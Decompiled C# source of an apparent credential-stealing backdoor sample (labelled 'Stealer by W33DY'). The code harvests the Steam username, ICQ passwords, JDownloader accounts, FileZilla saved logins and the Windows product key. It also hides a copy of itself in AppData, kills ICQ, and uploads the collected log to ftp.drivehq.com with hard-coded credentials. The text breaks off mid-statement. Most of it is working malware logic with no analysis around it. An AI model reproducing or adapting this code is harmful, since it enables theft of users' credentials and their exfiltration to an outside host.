// Decompiled with JetBrains decompiler
// Type: LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy
// Assembly: Server, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 8E1E6700-2073-48F3-B423-4F1247D1E0FA
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.Ubot.b-41085c9762060a8f8cc808556d400d4090be1b82a9082ff767d59baa5b50dc57.exe

using Microsoft.VisualBasic;
using Microsoft.VisualBasic.CompilerServices;
using My;
using System;
using System.Collections.Generic;
using System.Data;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Net;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Security.Cryptography;
using System.Text;
using System.Text.RegularExpressions;
using System.Threading;
using System.Windows.Forms;
using System.Xml;

[StandardModule]
internal sealed class LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy
{
  private static TextBox AText = new TextBox();
  private static TextBox BText = new TextBox();
  private static ListBox ListBox1 = new ListBox();
  private static string[] IwRIyMWGFseGcoDkCnrSGExQNjFejgruKfgpzuYnHatodJSTRW;
  private static string steamstring;
  private static string HzHlyxOSUMlBsdLNhKPcnIVJuWsrTBSEIiJUOgdzWumiuLavjs = Conversions.ToString(MyProject.Computer.Registry.GetValue("HKEY_LOCAL_MACHINE\\SOFTWARE\\Valve\\Steam", "InstallPath", (object) ""));
  private static string QLoqXqwFtZijhmKQYCPOeikcCRJtbdxaftpYlLMmvIkEiHZyZk = LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.HzHlyxOSUMlBsdLNhKPcnIVJuWsrTBSEIiJUOgdzWumiuLavjs + "\\config\\SteamAppData.vdf";
  public static string signon;
  public static string IPAdresse;
  private static IntPtr NSS3;
  private static byte[] opera_salt = new byte[11]
  {
    (byte) 131,
    (byte) 125,
    (byte) 252,
    (byte) 15,
    (byte) 142,
    (byte) 179,
    (byte) 232,
    (byte) 105,
    (byte) 115,
    (byte) 175,
    byte.MaxValue
  };
  private static byte[] key_size = new byte[4]
  {
    (byte) 0,
    (byte) 0,
    (byte) 0,
    (byte) 8
  };
  private static string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
  public static string DOutput;
  private static int c = 0;
  private static int c1 = 0;
  private static int c2 = 0;
  private static bool firstrun = true;
  private static string ReturnValue;
  private static string sUrlTemp;
  private static string sUserTemp;
  private static string sPassTemp;
  private static string[] sUrl = new string[1001];
  private static string[] sUser = new string[1001];
  private static string[] sPass = new string[1001];
  private static int lasturl = 0;
  private static bool ftp = false;
  private static string[] Lines;
  private static string[] LoginData = new string[3001];

  [STAThread]
  public static void Main()
  {
    LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.ListBox1.Location = new Point(24, 20);
    LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.BText.Text = Conversions.ToString(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.GetSteamUsername());
    try
    {
      LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.Melt("sVKeU.exe");
    }
    catch (Exception ex)
    {
      ProjectData.SetProjectError(ex);
      ProjectData.ClearProjectError();
    }
    try
    {
      LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.IPAdresse = new StreamReader(((HttpWebResponse) ((HttpWebRequest) WebRequest.Create("http://automation.whatismyip.com/n09230945.asp")).GetResponse()).GetResponseStream()).ReadToEnd();
    }
    catch (Exception ex)
    {
      ProjectData.SetProjectError(ex);
      ProjectData.ClearProjectError();
    }
    try
    {
      Process[] processesByName = Process.GetProcessesByName("ICQ");
      int index = 0;
      while (index < processesByName.Length)
      {
        processesByName[index].Kill();
        checked { ++index; }
      }
      LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.FtOEuJTCCooQYlNhMkCODztMJgQagcoFGbdmKqUkRXqynTPPOS();
    }
    catch (Exception ex)
    {
      ProjectData.SetProjectError(ex);
      ProjectData.ClearProjectError();
    }
    try
    {
      LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.TvDbsYmmzeKXixjs();
    }
    catch (Exception ex)
    {
      ProjectData.SetProjectError(ex);
      ProjectData.ClearProjectError();
    }
    try
    {
      LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.PfGGVMOGfImkSHbSJWhQPDDemybuaxQcQOIaXtdotqCTUpqzYF();
    }
    catch (Exception ex)
    {
      ProjectData.SetProjectError(ex);
      ProjectData.ClearProjectError();
    }
    try
    {
      LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.ppFJMDcrkUCFZCGUQzNmmOWiLeKhzZzLFXHdNYdZlDRZajICfh();
    }
    catch (Exception ex)
    {
      ProjectData.SetProjectError(ex);
      ProjectData.ClearProjectError();
    }
    try
    {
      LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.BUzXpCpmgywTDNTPbrsOQZweIXEKdlbHCCBGqjqVvhxBEvUxcN();
    }
    catch (Exception ex)
    {
      ProjectData.SetProjectError(ex);
      ProjectData.ClearProjectError();
    }
    try
    {
      LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.dJSTRWHzHlyxOSUMlBsdLNhKPcnIVJuWsrTBSEIiJUOgdzWumi();
    }
    catch (Exception ex)
    {
      ProjectData.SetProjectError(ex);
      ProjectData.ClearProjectError();
    }
    try
    {
      LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.lzwfsSStCOqKpNfFfqkDmJsEJGRiwFGPniLNtzTbRwrsqvgnuL();
    }
    catch (Exception ex)
    {
      ProjectData.SetProjectError(ex);
      ProjectData.ClearProjectError();
    }
    try
    {
      LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.GetOperaa();
    }
    catch (Exception ex)
    {
      ProjectData.SetProjectError(ex);
      ProjectData.ClearProjectError();
    }
    try
    {
      LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.kLblosnDhhhJ();
    }
    catch (Exception ex)
    {
      ProjectData.SetProjectError(ex);
      ProjectData.ClearProjectError();
    }
    LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.MLbehZxNGpYauXcpzViWIjGFgOfRVvVgaspNiHzvHYmIvGdYCD();
    try
    {
      MyProject.Computer.Network.UploadFile(Interaction.Environ("temp") + "\\" + MyProject.Computer.Name.ToString(), "ftp://ftp.drivehq.com/" + MyProject.Computer.Name.ToString() + ".txt", "undetecter", "010101");
    }
    catch (Exception ex)
    {
      ProjectData.SetProjectError(ex);
      ProjectData.ClearProjectError();
    }
    ProjectData.EndApp();
  }

  internal static object BUzXpCpmgywTDNTPbrsOQZweIXEKdlbHCCBGqjqVvhxBEvUxcN()
  {
    LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.IwRIyMWGFseGcoDkCnrSGExQNjFejgruKfgpzuYnHatodJSTRW = MyProject.Computer.FileSystem.ReadAllText(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.QLoqXqwFtZijhmKQYCPOeikcCRJtbdxaftpYlLMmvIkEiHZyZk).Split('"');
    return (object) LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.IwRIyMWGFseGcoDkCnrSGExQNjFejgruKfgpzuYnHatodJSTRW[9];
  }

  public static object GetSteamUsername()
  {
label_0:
    int num1;
    object obj;
    int num2;
    try
    {
      ProjectData.ClearProjectError();
      num1 = 1;
label_1:
      int num3 = 2;
      string str = Conversions.ToString(MyProject.Computer.Registry.GetValue("HKEY_CURRENT_USER\\SOFTWARE\\Valve\\Steam", "SteamPath", (object) ""));
label_2:
      num3 = 3;
      string file = str + "\\config\\SteamAppData.vdf";
label_3:
      num3 = 4;
      string[] strArray = MyProject.Computer.FileSystem.ReadAllText(file).Split('"');
label_4:
      num3 = 5;
      if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(strArray[9], "", false) == 0)
        goto label_7;
label_5:
      num3 = 6;
      strArray[9] = strArray[9];
label_6:
      num3 = 7;
      obj = (object) strArray[9];
      goto label_15;
label_7:
      num3 = 9;
label_8:
      obj = (object) null;
      goto label_15;
label_10:
      num2 = num3;
      switch (num1)
      {
        case 1:
          int num4 = num2 + 1;
          num2 = 0;
          switch (num4)
          {
            case 1:
              goto label_0;
            case 2:
              goto label_1;
            case 3:
              goto label_2;
            case 4:
              goto label_3;
            case 5:
              goto label_4;
            case 6:
              goto label_5;
            case 7:
              goto label_6;
            case 8:
            case 11:
            case 12:
              goto label_15;
            case 9:
              goto label_7;
            case 10:
              goto label_8;
          }
          break;
      }
    }
    catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
    {
      ProjectData.SetProjectError(ex);
      goto label_10;
    }
    throw ProjectData.CreateProjectError(-2146828237);
label_15:
    object steamUsername = obj;
    if (num2 == 0)
      return steamUsername;
    ProjectData.ClearProjectError();
    return steamUsername;
  }

  public static void MLbehZxNGpYauXcpzViWIjGFgOfRVvVgaspNiHzvHYmIvGdYCD()
  {
label_0:
    int num1;
    int num2;
    try
    {
      int num3 = 1;
      DateTime now = DateTime.Now;
label_1:
      num3 = 2;
      object Instance = (object) new StreamWriter(Interaction.Environ("temp") + "\\" + MyProject.Computer.Name.ToString());
label_2:
      ProjectData.ClearProjectError();
      num1 = 1;
label_3:
      num3 = 4;
      NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1]
      {
        (object) "Stealer by W33DY"
      }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
label_4:
      num3 = 5;
      NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1]
      {
        (object) ("Date/Time: " + now.ToString())
      }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
label_5:
      num3 = 6;
      NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1]
      {
        (object) ("PC Name: " + MyProject.Computer.Name)
      }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
label_6:
      num3 = 7;
      NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1]
      {
        (object) ("IP: " + LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.IPAdresse)
      }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
label_7:
      num3 = 8;
      NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1]
      {
        (object) ("Windows Version: " + LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.GetOSVersion())
      }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
label_8:
      num3 = 9;
      NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1]
      {
        (object) ("Windows Key: " + LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.OSProductKey("HKEY_LOCAL_MACHINE\\SOFTWARE\\MICROSOFT\\Windows NT\\CurrentVersion", "DigitalProductId"))
      }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
label_9:
      num3 = 10;
      NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true);
label_10:
      num3 = 11;
      NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1]
      {
        (object) (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.AText.Text + "\r\n")
      }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
label_11:
      num3 = 12;
      NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true);
label_12:
      num3 = 13;
      int num4 = checked (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.ListBox1.Items.Count - 1);
      int index = 0;
      goto label_16;
label_13:
      num3 = 14;
      NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1]
      {
        Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.ListBox1.Items[index], (object) "\r\n")
      }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
label_14:
      num3 = 15;
      NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true);
label_15:
      num3 = 16;
      checked { ++index; }
label_16:
      if (index <= num4)
        goto label_13;
label_17:
      num3 = 17;
      NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1]
      {
        (object) LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.GetOperaa()
      }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
label_18:
      num3 = 18;
      NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1]
      {
        (object) LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.FtOEuJTCCooQYlNhMkCODztMJgQagcoFGbdmKqUkRXqynTPPOS()
      }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
label_19:
      num3 = 19;
      NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true);
label_20:
      num3 = 20;
      NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1]
      {
        (object) (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.PfGGVMOGfImkSHbSJWhQPDDemybuaxQcQOIaXtdotqCTUpqzYF() + "\r\n")
      }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
label_21:
      num3 = 21;
      NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true);
label_22:
      num3 = 22;
      NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1]
      {
        (object) (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.ppFJMDcrkUCFZCGUQzNmmOWiLeKhzZzLFXHdNYdZlDRZajICfh() + "\r\n")
      }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
label_23:
      num3 = 23;
      NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true);
label_24:
      num3 = 24;
      NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1]
      {
        Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject((object) "Application: Steam\r\nUsername: ", LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.BUzXpCpmgywTDNTPbrsOQZweIXEKdlbHCCBGqjqVvhxBEvUxcN()), (object) "\r\n")
      }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
label_25:
      num3 = 25;
      NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true);
label_26:
      num3 = 26;
      NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1]
      {
        (object) (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.dJSTRWHzHlyxOSUMlBsdLNhKPcnIVJuWsrTBSEIiJUOgdzWumi() + "\r\n")
      }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
label_27:
      num3 = 27;
      NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true);
label_28:
      num3 = 28;
      NewLateBinding.LateCall(Instance, (System.Type) null, "Writeline", new object[1]
      {
        (object) (LZjSSFrTpCQxPBFeTQKcZwSqwsFIWrtDNIkBTnHBqWffejUNUy.kLblosnDhhhJ() + "\r\n")
      }, (string[]) null, (System.Type[]) null, (bool[]) null, true);
label_29:
      num3 = 29;
      NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true);
label_30:
      num3 = 30;
      NewLateBinding.LateCall(Instance, (System.Type) null, "Flush", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true);
label_31:
      num3 = 31;
      NewLateBinding.LateCall(Instance, (System.Type) null, "Close", new object[0], (string[]) null, (System.Type[]) null, (bool[]) null, true);
      goto label_38;
label_33:
      num2 = num3;
      switch (num1)
      {
        case 1:
          int num5 = num2 + 1;
          num2 = 0;
          switch (num5)
          {
            case 1:
              goto label_0;
            case 2:
              goto label_1;
            case 3:
              goto label_2;
            case 4:
              goto label_3;
            case 5:
              goto label_4;
            case 6:
              goto label_5;
            case 7:
              goto label_6;
            case 8:
              goto label_7;
            case 9:
              goto label_8;
            case 10:
              goto label_9;
            case 11:
              goto label_10;
            case 12:
              goto label_11;
            case 13:
              goto label_12;
            case 14:
              goto label_13;
            case 15:
              goto label_14;
            case 16:
              goto label_15;
            case 17:
              goto label_17;
            case 18:
              goto label_18;
            case 19:
              goto label_19;
            case 20:
              goto label_20;
            case 21:
              goto label_21;
            case 22:
              goto label_22;
            case 23:
              goto label_23;
            case 24:
              goto label_24;
            case 25:
              goto label_25;
            case 26:
              goto label_26;
            case 27:
              goto label_27;
            case 28:
              goto label_28;
            case 29:
              goto label_29;
            case 30:
              goto label_30;
            case 31:
              goto label_31;
            case 32:
              goto label_38;
          }
          break;
      }
    }
    catch (Exception ex) when (ex is Exception & num1 != 0 & num2 == 0)
    {
      ProjectData.SetProjectError(ex);
      goto label_33;
    }
    throw ProjectData.CreateProjectError(-2146828237);
label_38:
    if (num2 == 0)
      return;
    ProjectData.ClearProjectError();
  }

  public static void Melt(string NewName)
  {
    try
    {
      string folderPath = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
      if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(Application.StartupPath, folderPath, false) != 0)
      {
        FileSystem.FileCopy(Assembly.GetExecutingAssembly().GetModules()[0].FullyQualifiedName, folderPath + "\\" + NewName);
        Interaction.Shell(folderPath + "\\" + NewName + " " + Assembly.GetExecutingAssembly().GetModules()[0].FullyQualifiedName);
        FileAttributes fileAttributes = FileAttributes.Hidden;
        System.IO.File.SetAttributes(folderPath + "\\" + NewName, fileAttributes);
        ProjectData.EndApp();
      }
      else
        FileSystem.Kill(Interaction.Command());
    }
    catch (Exception ex)
    {
      ProjectData.SetProjectError(ex);
      ProjectData.ClearProjectError();
    }
  }

  public static string gwcqPBHXULYDADOrwheWpKJ(string ZDehjJRDjdkZgavKV)
  {
    string str1 = nameof (gwcqPBHXULYDADOrwheWpKJ);
    int index1 = 0;
    int index2 = 0;
    StringBuilder stringBuilder = new StringBuilder();
    string empty = string.Empty;
    int[] numArray1 = new int[257];
    int[] numArray2 = new int[257];
    int length = str1.Length;
    int location1 = 0;
    while (location1 <= (int) byte.MaxValue)
    {
      char String = str1.Substring(location1 % length, 1).ToCharArray()[0];
      numArray2[location1] = Strings.Asc(String);
      numArray1[location1] = location1;
      Math.Max(Interlocked.Increment(ref location1), checked (location1 - 1));
    }
    int index3 = 0;
    int location2 = 0;
    while (location2 <= (int) byte.MaxValue)
    {
      index3 = checked (index3 + numArray1[location2] + numArray2[location2]) % 256;
      int num = numArray1[location2];
      numArray1[location2] = numArray1[index3];
      numArray1[index3] = num;
      Math.Max(Interlocked.Increment(ref location2), checked (location2 - 1));
    }
    int location3 = 1;
    while (location3 <= ZDehjJRDjdkZgavKV.Length)
    {
      index1 = checked (index1 + 1) % 256;
      index2 = checked (index2 + numArray1[index1]) % 256;
      int num1 = numArray1[index1];
      numArray1[index1] = numArray1[index2];
      numArray1[index2] = num1;
      int num2 = numArray1[checked (numArray1[index1] + numArray1[index2]) % 256];
      int CharCode = Strings.Asc(ZDehjJRDjdkZgavKV.Substring(checked (location3 - 1), 1).ToCharArray()[0]) ^ num2;
      stringBuilder.Append(Strings.Chr(CharCode));
      Math.Max(Interlocked.Increment(ref location3), checked (location3 - 1));
    }
    string str2 = stringBuilder.ToString();
    stringBuilder.Length = 0;
    return str2;
  }

  public static string GetOSVersion()
  {
    switch (Environment.OSVersion.Platform)
    {
      case PlatformID.Win32S:
        return "Win 3.1";
      case PlatformID.Win32Windows:
        switch (Environment.OSVersion.Version.Minor)
        {
          case 0:
            return "Windows 95";
          case 10:
            return "Windows 98";
          case 90:
            return "Windows ME";
          default:
            return "Unknown";
        }
      case PlatformID.Win32NT:
        switch (Environment.OSVersion.Version.Major)
        {
          case 3:
            return "Windows NT 3.51";
          case 4:
            return "Windows NT 4.0";
          case 5:
            switch (Environment.OSVersion.Version.Minor)
            {
              case 0:
                return "Windows 2000";
              case 1:
                return "Windows XP";
              case 2:
                return "Windows 2003";
            }
            break;
          case 6:
            return "Windows 7 / Vista";
          default:
            return "Unknown";
        }
      case PlatformID.WinCE:
        return "Windows CE";
    }
    string osVersion;
    return osVersion;
  }

  public static string OSProductKey(string KeyPath, string ValueName)
  {
    string Expression = "";
    try
    {
      object objectValue = RuntimeHelpers.GetObjectValue(MyProject.Computer.Registry.GetValue(KeyPath, ValueName, (object) 0));
      if (objectValue == null)
        return "N/A";
      string str1 = "";
      int num1 = Information.LBound((Array) objectValue);
      int num2 = Information.UBound((Array) objectValue);
      int num3 = num1;
      while (num3 <= num2)
      {
        str1 = str1 + " " + Conversion.Hex(RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet(objectValue, new object[1]
        {
          (object) num3
        }, (string[]) null)));
        checked { ++num3; }
      }
      int num4 = 52;
      int num5 = 67;
      string[] strArray1 = new string[25]
      {
        "B",
        "C",
        "D",
        "F",
        "G",
        "H",
        "J",
        "K",
        "M",
        "P",
        "Q",
        "R",
        "T",
        "V",
        "W",
        "X",
        "Y",
        "2",
        "3",
        "4",
        "6",
        "7",
        "8",
        "9",
        null
      };
      int num6 = 29;
      int num7 = 15;
      string[] strArray2 = new string[16];
      string[] strArray3 = new string[31];
      string str2 = "";
      int num8 = num4;
      int num9 = num5;
      int num10 = num8;
      while (num10 <= num9)
      {
        strArray2[checked (num10 - num4)] = Conversions.ToString(NewLateBinding.LateIndexGet(objectValue, new object[1]
        {
          (object) num10
        }, (string[]) null));
        str2 = str2 + " " + Conversion.Hex((object) strArray2[checked (num10 - num4)]);
        checked { ++num10; }
      }
      int index1 = checked (num6 - 1);
      while (index1 >= 0)
      {
        if (checked (index1 + 1) % 6 == 0)
        {
          strArray3[index1] = "-";
          Expression += "-";
        }
        else
        {
          int index2 = 0;
          int index3 = checked (num7 - 1);
          while (index3 >= 0)
          {
            int num11 = checked ((int) ((long) Math.Round(unchecked ((double) index2 * 256.0)) | Conversions.ToLong(strArray2[index3])));
            strArray2[index3] = Conversions.ToString(num11 / 24);
            index2 = num11 % 24;
            checked { index3 += -1; }
          }
          strArray3[index1] = strArray1[index2];
          Expression += strArray1[index2];
        }
        checked { index1 += -1; }
      }
    }
    catch (Exception ex)
    {
      ProjectData.SetProjectError(ex);
      ProjectData.ClearProjectError();
    }
    return Strings.StrReverse(Expression);
  }

  internal static string FtOEuJTCCooQYlNhMkCODztMJgQagcoFGbdmKqUkRXqynTPPOS()
  {
    StringBuilder stringBuilder = new StringBuilder();
    string[] directories = Directory.GetDirectories(Interaction.Environ("APPDATA") + "\\ICQ", "*", SearchOption.TopDirectoryOnly);
    int num = checked (directories.Length - 1);
    int index1 = 0;
    while (index1 <= num)
    {
      if (Versioned.IsNumeric((object) directories[index1].Split('\\')[checked (directories[index1].Split('\\').Length - 1)]))
      {
        string str = Encoding.Unicode.GetString(System.IO.File.ReadAllBytes(!System.IO.File.Exists(directories[index1] + "\\Owner.mdb") ? directories[index1] + "\\Owner.qdb" : directories[index1] + "\\Owner.mdb")).Replace("\0", "");
        long startIndex = (long) str.IndexOf("StoredPassword");
        string Left = "";
        if (startIndex > 0L)
        {
          byte[] numArray = Convert.FromBase64String(Strings.Mid(str.Substring(checked ((int) startIndex)).Replace(Conversions.ToString(Strings.Chr(132)), ""), 17, 44));
          int index2 = 0;
          do
          {
            Left = Conversion.Hex(numArray[index2]).Length >= 2 ? Left + Conversion.Hex(numArray[index2]) : Left + "0" + Conversion.Hex(numArray[index2]);
            checked { ++index2; }
          }
          while (index2 <= 15);
        }
        if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(Left, "", false) != 0)
          stringBuilder.Append("Application: ICQ\r\nUIN: " + directories[index1].Split('\\')[checked (directories[index1].Split('\\').Length - 1)] + "\r\nPassword: " + Left + "\r\n\r\n");
        else
          stringBuilder.Append("Application: ICQ\r\nUIN: " + directories[index1].Split('\\')[checked (directories[index1].Split('\\').Length - 1)] + "\r\nPassword : - \r\n\r\n");
      }
      checked { ++index1; }
    }
    return stringBuilder.ToString();
  }

  internal static string ppFJMDcrkUCFZCGUQzNmmOWiLeKhzZzLFXHdNYdZlDRZajICfh()
  {
    string str1 = "";
    StringBuilder stringBuilder = new StringBuilder();
    string str2 = "";
    string path = Interaction.Environ("Programfiles(x86)") != null ? Interaction.Environ("programfiles(x86)") + "\\jDownloader\\config\\database.script" : Interaction.Environ("programfiles") + "\\jDownloader\\config\\database.script";
    if (!System.IO.File.Exists(path))
      return "";
    string str3 = "INSERT INTO CONFIG VALUES('AccountController','";
    string[] strArray1 = System.IO.File.ReadAllLines(path);
    int num1 = checked (strArray1.Length - 1);
    int index1 = 0;
    while (index1 <= num1)
    {
      if (strArray1[index1].Contains(str3))
      {
        string str4 = strArray1[index1].Substring(checked (str3.Length - 1)).Substring(1, checked (strArray1[index1].Length - str3.Length + 1 + 3));
        int num2 = checked (str4.Length - 1);
        int startIndex = 0;
        while (startIndex <= num2)
        {
          str1 += Conversions.ToString(Strings.Chr(Conversions.ToInteger("&H" + str4.Substring(startIndex, 2))));
          checked { startIndex += 2; }
        }
        string str5 = "";
        string[] strArray2 = str1.Split(char.MinValue);
        int num3 = checked (strArray2.Length - 1);
        int index2 = 0;
        while (index2 <= num3)
        {
          int CharCode = 1;
          do
          {
            strArray2[index2] = strArray2[index2].Replace(Conversions.ToString(Strings.Chr(CharCode)), "");
            checked { ++CharCode; }
          }
          while (CharCode <= 31);
          strArray2[index2] = strArray2[index2].Replace("ÿ", "");
          if (Microsoft.VisualBasic.CompilerServices.Operators.CompareString(strArray2[index2], "", false) != 0)
            str5 = str5 + "\r\n" + strArray2[index2];
          checked { ++index2; }
        }
        string[] strArray3 = str5.ToString().Split('\r');
        int num4 = checked (strArray3.Length - 2);
        int index3 = 0;
        while (index3 <= num4)
        {
          if (strArray3[index3].EndsWith("sq") & strArray3[index3].IndexOf(".") > 0)
            str2 = strArray3[index3].Substring(0, checked (strArray3[index3].Length - 2));
          if (strArray3[index3].EndsWith("t") & strArray3[checked (index3 + 1)].EndsWith("xt"))
          {
            string str6 = strArray3[index3].Substring(0, checked (strArray3[index3].Length - 1));
            string str7 = strArray3[checked (index3 + 1)].Substring(0, checked (strArray3[index3 + 1].Length - 2));
            if (str6.Length > 4)
              stringBuilder.Append("Application: JDownloader\r\nHost: " + str2 + "\r\nUser: " + str7 + "\r\nPass: " + str6 + "\r\n\r\n");
          }
          checked { ++index3; }
        }
      }
      checked { ++index1; }
    }
    return stringBuilder.ToString();
  }

  public static string kLblosnDhhhJ()
  {
    XmlDocument xmlDocument = new XmlDocument();
    object Left = (object) null;
    string str1 = "";
    string str2 = Interaction.Environ("appdata") + "\\FileZilla\\recentservers.xml";
    if (System.IO.File.Exists(str2))
    {
      try
      {
        xmlDocument.Load(str2);
        XmlNodeList elementsByTagName1 = xmlDocument.GetElementsByTagName("Host");
        XmlNodeList elementsByTagName2 = xmlDocument.GetElementsByTagName("Port");
        XmlNodeList elementsByTagName3 = xmlDocument.GetElementsByTagName("User");
        XmlNodeList elementsByTagName4 = xmlDocument.GetElementsByTagName("Pass");
        int num = checked (elementsByTagName1.Count - 1);
        int i = 0;
        while (i <= num)
        {
          Left = Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Microsoft.VisualBasic.CompilerServices.Operators.ConcatenateObject(Left, (object) "Application: FileZilla"), (object) "\r\n"), (object) "Host: "), (object) elementsByTagName1[i].InnerText), (object) "\r\n"), (object) "Port: "), (object) elementsByTagName2[i].InnerText), (object) "\r\n"), (object) 